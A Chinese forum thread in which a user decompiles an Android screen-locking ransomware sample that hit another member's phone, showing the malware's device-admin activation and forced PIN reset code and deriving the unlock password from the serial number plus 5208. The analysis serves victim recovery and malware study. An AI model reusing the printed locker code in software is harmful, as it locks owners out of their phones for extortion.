云在天 发表于 2016-12-23 23:39

坛友中招的小程序来练练手

本帖最后由 云在天 于 2016-12-23 23:41 编辑

今天逛逛论坛,发现有坛友手机被锁,下载样本,没有加壳样本地址:http://www.52pojie.cn/thread-567241-1-1.html

拖入AndroidKiller




找到入口包,用jd-gui打开


package com.h;

import LogCatBroadcaster;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;

public class M
extends Activity
{
private void activiteDevice()//激活设备管理器
{
    Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    try
    {
      Class localClass = Class.forName("com.h.MyAdmin"); //准备改PIN码了
      localIntent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this, localClass));
      startActivityForResult(localIntent, 0);
      return;
    }
    catch (ClassNotFoundException localClassNotFoundException)
    {
      throw new NoClassDefFoundError(localClassNotFoundException.getMessage());
    }
}

@Override
public void onCreate(Bundle paramBundle)
{
    LogCatBroadcaster.start(this);
    super.onCreate(paramBundle);
    activiteDevice();
}
}

跳到MyAdmin这个包

public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
{
    String str = Integer.toString(5208);//5208就是pin码了
    getManager(paramContext).lockNow();
    getManager(paramContext).resetPassword(str, 0);
    return super.onDisableRequested(paramContext, paramIntent);
}

@Override
public void onEnabled(Context paramContext, Intent paramIntent)
{
    String str = Integer.toString(5208);
    try
    {
      Object localObject = Class.forName("com.h.s");
      localObject = new Intent(paramContext, (Class)localObject);
      ((Intent)localObject).setFlags(268435456);
      paramContext.startService((Intent)localObject);
      getManager(paramContext).resetPassword(str, 0);
      super.onEnabled(paramContext, paramIntent);
      return;
    }
    catch (ClassNotFoundException paramContext)
    {
      throw new NoClassDefFoundError(paramContext.getMessage());
    }
}


我们继续找锁屏密码

try {
            v11 = Class.forName("com.h.s");
      }

在这个包里找到关键词类似什么pass之类的

super.onCreate();
    this.pass = ((Math.random() * 100000000));//序列号
    this.passw = new Long((this.pass + 5208) * 1);//序列号+5208*1
    this.des = new DU("flower");

看到了锁屏密码是序列号+5208

然后就可以开锁了,进去之后一定要先把设备管理器里的这个给移除。
附上一段移植过来的算法
public class unpacked {
    public static void main(String []args) {
        long pass;
        Long passw;
                pass = 76055514;//序列号
      passw = new Long((pass + (((long)5208))) * (((long)1)));
                System.out.println(passw);
    }
}

放到调试器里运行就算出密码来了

PS:有点多次一举,其实第一次调试的时候那个5208在JD-GUI里显示?我又换到了JEB里才看到。。








guoxue332 发表于 2016-12-23 23:48

路过,看不懂。。{:1_937:}

云在天 发表于 2016-12-23 23:50

guoxue332 发表于 2016-12-23 23:48
路过,看不懂。。

额。其实我也略懂

繁华落幕 发表于 2016-12-24 01:14

看了下代码,完全就是用AIDE然后满大街找的一个锁机源码改一下Pin和序列号算法就发出来的...

czc476 发表于 2016-12-24 01:34

现在新出的都是加密算法了,不好解了

云在天 发表于 2016-12-24 01:57

繁华落幕 发表于 2016-12-24 01:14
看了下代码,完全就是用AIDE然后满大街找的一个锁机源码改一下Pin和序列号算法就发出来的...

没错,话说Aide就是个神器啊

Gear 发表于 2016-12-27 00:27

zuis 发表于 2017-3-2 22:43

要支持!!!{:1_912:}

内心xi 发表于 2017-4-7 13:05

xiexie 666666666

坏灰灰 发表于 2017-12-6 22:03

算是幸运的,没有加密算法
页: [1] 2
查看完整版本: 坛友中招的小程序来练练手